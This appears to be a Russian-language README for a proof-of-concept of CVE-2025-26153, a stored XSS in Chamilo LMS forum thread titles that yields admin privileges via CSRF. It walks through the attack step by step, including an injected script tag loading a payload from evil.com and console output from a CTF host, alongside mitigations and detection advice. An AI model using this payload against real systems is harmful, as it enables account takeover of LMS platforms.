Chamilo LMS (<= v2.0) — Хранимый XSS для повышения привилегий POC [CVE-2025-26153]
Обзор
Данный репозиторий содержит proof of concept, демонстрирующий хранимую межсайтовую XSS-уязвимость в Chamilo LMS, которая может быть использована для повышения привилегий от обычного пользователя до администратора платформы.
Уязвимость внесена в каталог и устранена: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Детали уязвимости
Информация о CVE
- Приложение: Chamilo LMS <= v2.0
- Тип уязвимости: Хранимый XSS, приводящий к повышению привилегий
Технические детали
Уязвимые места кода:
-
/public/main/forum/forumqualify.php — строка 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
-
/public/main/forum/viewforum.php — строка 369
.$thread->getTitle().'</a>';
-
Есть и другие!
Корневая причина:
- Названия тем форума хранятся без надлежащей санитизации
- Названия тем выводятся без экранирования HTML в нескольких местах
- Отсутствует политика безопасности контента (CSP), предотвращающая выполнение XSS
Пошаговое руководство по повышению привилегий
Этап 1: Сбор данных
Шаг 1. Получите информацию о целевой учётной записи
- Войдите в Chamilo LMS
- Перейдите в
Социальная сеть -> Личные данные
- Откройте
user_info и запишите следующую информацию:
- ID пользователя
- Имя пользователя
- Имя
- Фамилия
- Адрес электронной почты
Шаг 2. Сгенерируйте собственный эксплойт-нагрузку
- Запустите генератор эксплойт-нагрузки:
python generate_payload.py
- Введите целевой User ID из шага 1
- Введите информацию об описании, которую вы не хотите менять (или укажите новые значения)
- Скрипт создаст настраиваемый файл
payload.js
Шаг 3. Разместите эксплойт-нагрузку внешне
- Загрузите сгенерированный
payload.js в публичный хостинг:
- GitHub Gist (рекомендуется)
- GitHub Pages
- Собственный веб-сервер
- Запишите прямую ссылку на файл эксплойт-нагрузки
Этап 2: Внедрение и выполнение XSS
Шаг 4. Откройте социальные группы
- Войдите в Chamilo LMS (можно с любой учётной записью)
- Перейдите в
Социальная сеть -> Социальные группы
Шаг 5. Вступите или создайте социальную группу
- Вступите в существующую социальную группу или
- Создайте новую социальную группу при необходимости
Шаг 6. Разверните XSS-эксплойт-нагрузку
- Создайте новую тему в социальной группе
- В поле названия темы введите следующую XSS-эксплойт-нагрузку:
eval(x.responseText);x.send()">
- Замените
YOUR-HOST-SERVER на фактический URL вашего хостинга
- Отправьте тему
Шаг 7. Запустите повышение привилегий
- Дождитесь, пока пользователь с правами администратора просмотрит социальную группу
- Когда администратор просмотрит вредоносную тему, XSS-эксплойт-нагрузка автоматически выполнится в фоновом режиме
- Повышение привилегий происходит НЕ незаметно — администратор будет перенаправлен в список пользователей
- Указанный целевой пользователь будет повышен до администратора платформы без каких-либо видимых признаков
Этап 3: Проверка
Шаг 8. Подтвердите повышение привилегий
- Войдите как целевой пользователь
- Проверьте, были ли предоставлены права администратора
- Убедитесь в доступе к административным функциям
Использование генератора эксплойт-нагрузки
Скрипт generate_payload.py позволяет настраивать атаку повышения привилегий:
Входные параметры:
- Целевой User ID
- Новое имя пользователя
- Новый пароль (необязательно)
- Официальный код
- Адрес электронной почты
- Имя, фамилия, телефон (необязательно)
Пример хода атаки
1. Злоумышленник создаёт вредоносную тему форума
└── Название: <script src=//evil.com/payload.js></script>
2. Администратор просматривает форум и открывает тему
└── Браузер загружает и выполняет внешний JavaScript
3. Эксплойт-нагрузка создаёт скрытую форму с данными повышения привилегий
└── Нацеливается на конкретный User ID для повышения до администратора
4. Форма автоматически отправляется через CSRF-атаку
└── Автоматически используются сессионные cookie администратора
5. Целевой пользователь становится администратором платформы
└── Злоумышленник получает полный контроль над платформой
Стратегии смягчения уязвимости
Немедленные исправления
-
Санитизация ввода
// Было
$threadEntity->getTitle()
// Стало
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
-
Кодирование вывода
<!-- Было -->
{{ thread.title }}
<!-- Стало -->
{{ thread.title|escape }}
-
Политика безопасности контента
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Долгосрочные решения
- Внедрить комплексную систему валидации входных данных
- Регулярные проверки безопасности кода
- Автоматическое тестирование безопасности в конвейере CI/CD
- Обучение команды разработчиков вопросам безопасности
Обнаружение и мониторинг
Анализ журналов
Отслеживайте:
- Необычные создания/изменения учётных записей администраторов
- Подозрительные названия тем форума, содержащие HTML/JavaScript
- Загрузку внешних скриптов из недоверенных доменов
Правовой отказ от ответственности
ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ
Данный proof of concept предоставлен только для образовательных целей и санкционированного тестирования безопасности.
- Используйте его только против систем, которыми вы владеете, или на тестирование которых у вас есть явное письменное разрешение
- Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций
- Данное исследование предназначено для помощи организациям в улучшении их позиции безопасности
- Авторы не несут ответственности за любое неправомерное использование этой информации
Благодарности за исследование
Обнаружение и анализ: US Cyber Combine
Тестовая среда: USCG CTF Environment
Вывод консоли при успешной атаке:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200